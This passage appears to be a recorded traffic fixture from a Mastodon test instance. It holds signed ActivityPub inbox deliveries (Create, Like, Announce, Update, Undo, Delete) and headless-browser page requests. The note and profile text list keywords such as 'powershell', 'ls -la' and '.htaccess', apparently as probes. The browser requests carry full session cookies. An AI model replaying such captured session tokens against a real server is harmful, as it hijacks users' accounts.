.htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
|
||||||
|
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 2477", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=/q8FAaFiXN1cuGzVnyHrnDkVdldSSU9lJ4orMezigrQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FjjoCJzOaValkcupFFH5eD2gcwt5A4gGqhHHLLHcDlpKfgSXJDHayo3pMND50yZ9tLwYeqbpo9pU0ikG9tIOuzJYsPnvOIhZyrU7rU/CYGuSJLQIvqWOIVMZGlFj4uNfDqpUYn1pY7zG86zrNu2Ms8dh1Tces3D6BWJbgzkdNS0qzhF7EYuXkYJtkjhooxWSUHnM5on0CN9elFQCfJz8LEeKhSeB6c8QPykJZDXT0R/PAncDb1DFEugEaovQLVv8Ny7LWXpp895rxiqI0WNRjh/X51ac4OhTlFEXKzFbOebacxVyfSS1rad1MlKrRa7UVYIFk75LbaiNWjJeBT/CRg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/201/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Note\",\"summary\":\"powershell spoilers\",\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/201\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"sensitive\":true,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
|
||||||
|
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 248", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=mMPSmg5ZMTfAn8dQ5SHTuTWfI5jT8rrcRS9lgqXlWBo=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FF5EJfOU/KqOBV6kQl0PmFDu7wkXlUULY1/40YWxsqGeagFwdXg9S8JfvwgD6ri7b5hF9z9F8f7Z3SpbSc4C/2cw1h5H7GxQ7DktFpfXlL5e4By/gBmvhinwtDF6/kHncm0nELXnj+nLz4gvUaS+V7nnHxAND7fFak0k8oSY8VcrAUB5beh7Ij+XcPQ1rt8Fe5Se0Y38KRtkudBvVaJ3cUYwCPf6LbhVstU6WbAAQmQ2Eez4CxhWcsasfzMce8k+S1svQWJPGwGvZZ988DJvDq5OzjKHSjcOcSo3yTfyNfm6ITI6KNq30TBpNXM7e8fWPWhcmvH4KbrhcE2USQo/lw==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 459", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=OnoUo4Qu2UAckLg2DWv5TmHWKSLMPCrLvaX88WquhGs=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"RRKSTtNO+B38hAT4gIyPNFuY09zTXU/DGC49vGscTEEvFE6r5Iaz7F8CKieR16g6PPqkKI1/BZnGndc90tB3DF6WxHrpaE4TUEFtkKhzEmu+ZDbu23SmG6leTo8OOFvxqJt0eoxkud0lzbi6mh1LzE1M6TVSo5VRCQkWEYBCM/SveAvmvtGDgv+suRzuJ2fnB5YwLRKz7w32D2QG7VQ/L1EP2OC4L71vku/LwlUGIVrm8lisXvQxZbuYD67l280dPEGfj6fUQQaEVV4/DNCk6MeHpIknMYO9E+oQCekt94T636k9bkmKuQ2paaQoBPbJoiSwGWI/pgiAxYQDNnvRfg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice/statuses/202/activity\",\"type\":\"Announce\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:05:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://example.com/ap/users/117589326485981102\",\"https://remote.example/users/alice/followers\"],\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2276", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=90gQrD5AqsmlBfwRpUqy68148ZcAp87EM2+PvJ+A5gM=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Nz9PbH9Uvh8WH49MM0eGkQrdWqjsKtd7P+KoGDG8LarQBHdfXV6WZHIiUuJ5Mrq6oLhaWNqcfE6e+j3C1cpAdIRDqmauecsTQ60lbzNBegh6EUJ0qRdroVygJ4P/nOsbM03CMUza5RIipfME+REwDm+N69MFHi50S3nu6OFuFpvHxpCRm2cN7gWus4zmy1Sn2th76dklf0hf1984dk741K5pj/4CXBsieTx7HAMDYZqzzU8P7+hzommj8ScF52iWCPP3pRsilRE7SxD8XSstCukNeo2PTrp7F3a3cgPjFBjeYuQBe3vi0bcFdk1bSbtXg5Er6i9DnLGC5o8DY6eyJg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/1\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice python3\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"}}}"}
|
||||||
|
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 373", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=UgQfHBUUDM89PRrl0gj8GsurcmRjPEB5+9r/l9vo3vQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"KMdRd+Opvw3d5VhupOzufUkMwzjKv7qwpjgtRmQG+3MZBxYvbRFD4p9Gla7dgZV+SPib45PKM/EFFySMW+DeXRtKrRRWnLgKuPrhnOgyTNERedyM1OyVg0+qeBHqiglhsyQhqMuBmOSbTRkTj7hWSE7n0DPHE3T0f0F32QBcZbqZP9gpokx263q0685NeSgG3mP/nSmzdGmj36Qm98VOF9Dy9Mi2qc69ir8iuK1hZ4FyV3dMSUIzz0MhMLckJovT5qia3krZpUcwCCHAp7CTYkceCTCcKGUHrOyXGd8Fag7+64cxbJfyRs4XmsqO46YO1U3PeEorEXtxsB2Hn24+eg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1/undo\",\"type\":\"Undo\",\"actor\":\"https://remote.example/users/alice\",\"object\":{\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 381", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=HzeBjo3QT/HbRja3P31DXyJbj0QTXdYK0QtcfF0hD0g=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"DujtT4MF2ggyz2sf+yG9xyQ462fMjrpAPuAhXFSSaF4TxvRSoRtffum+CiFkfStr3+Sh916tsmbpTs46abABbxho4yr0kbq8a3MA/8hDYHvn1nd2NGCQPS0k8Z45FyMfCjFU8leKVPodsYf7A6EGnWDXlMbzXVNMOdk87ac005cVRDPMVgTrlWlhx/yUK3jq0ou6qQ863aoVFi6SgL9HUZ5cLLhd1fdHuh5KtnfljQQRoKANkYaw2B+yWq9TQRCjzejykN1NFP/El24kTBY0OBYeA8XahF0fxtZ7tBrLQWOFoz86Jq53ThZ5V+/j0xwEVtBKctpgFTy2DVLqM+Ipog==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\",{\"ostatus\":\"http://ostatus.org#\"}],\"id\":\"https://remote.example/users/alice/statuses/201#delete\",\"type\":\"Delete\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Tombstone\"}}"}
|
||||||
|
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=i720m4UFRf86zskblaDOUW1rQERQTPJYkE92b%2BBB%2Ft%2B9DS0LTl%2BmXDsFh%2Fumfk5n%2FScHlJ0N5w0R0CrNv0bj9lSbZ%2BHLUP6zL%2FXpQTBEWE%2BjpgQsd8rfGa8NlxQG7K%2BFjYpkT89deMWIe8h%2BPx%2Bi3Z4IjxZPbc1r9jCOI0bX8A7GMvNMMictfobxlNFIGwaUKpP49WyLhch1SX9JPrm2SOARPMqKSqMcjjmsDuVPjitlDOZbgQCKWCqyj2uhUqS1YrA6oFgzEOzdwRQ4QWIRBo0fkeL3sPwRMQ%3D%3D--3RO7P3SwebpcHVO9--vIbr1ajbFDY%2FgdulCJy1lA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-router-BkmJBoOP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/poll-DVpd4t8I.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/index.module-y4HS80Z2.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzcuNTE3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3e7c54b28369188badc6f8f5bfa586770bb7e8a7; _mastodon_session=XG1JBX9t9GQ%2FXvhB00Fxs6T4bV20mNlRFWssv4JmGJgIMso%2F2Y8oTL25pkcKiLbmNA0sBcJIWoJVCVP53UwVofCfP1H5kH336QYqo7EEThCFKa6XtpSta7lbSpjEpZYK3z2O%2BKpmTT%2BpxhC1KtvMrN3JwHovOJ3Wv3qkz2GnVuOi8%2BdPSvOmRTqJVNS9VS6OBe1kriv3wkBehd9%2FaMupwZmG2hjKTmjSQ4utuDreCaYxz9nX6%2FYq%2FdMpEMEPV6lMwrJxqMez3UJiU8L4r%2BOXMYLj%2B48bHhGamERy4HnE66R2%2FES10SxAjGBzzVSS%2BUjfASQfBzsrMb814nMiS3vgzuWrRKXGoO7GdFTmJuk5741%2FrUqzDxwlVKkwlAq3jH4WzSAroOrsI02a--BRX%2BwQfrnNolRoFW--lN7N80Wre%2F4BfT6emfcRaw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/initial_state-DnZ5UeDQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/privacy", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
|
||||||
|
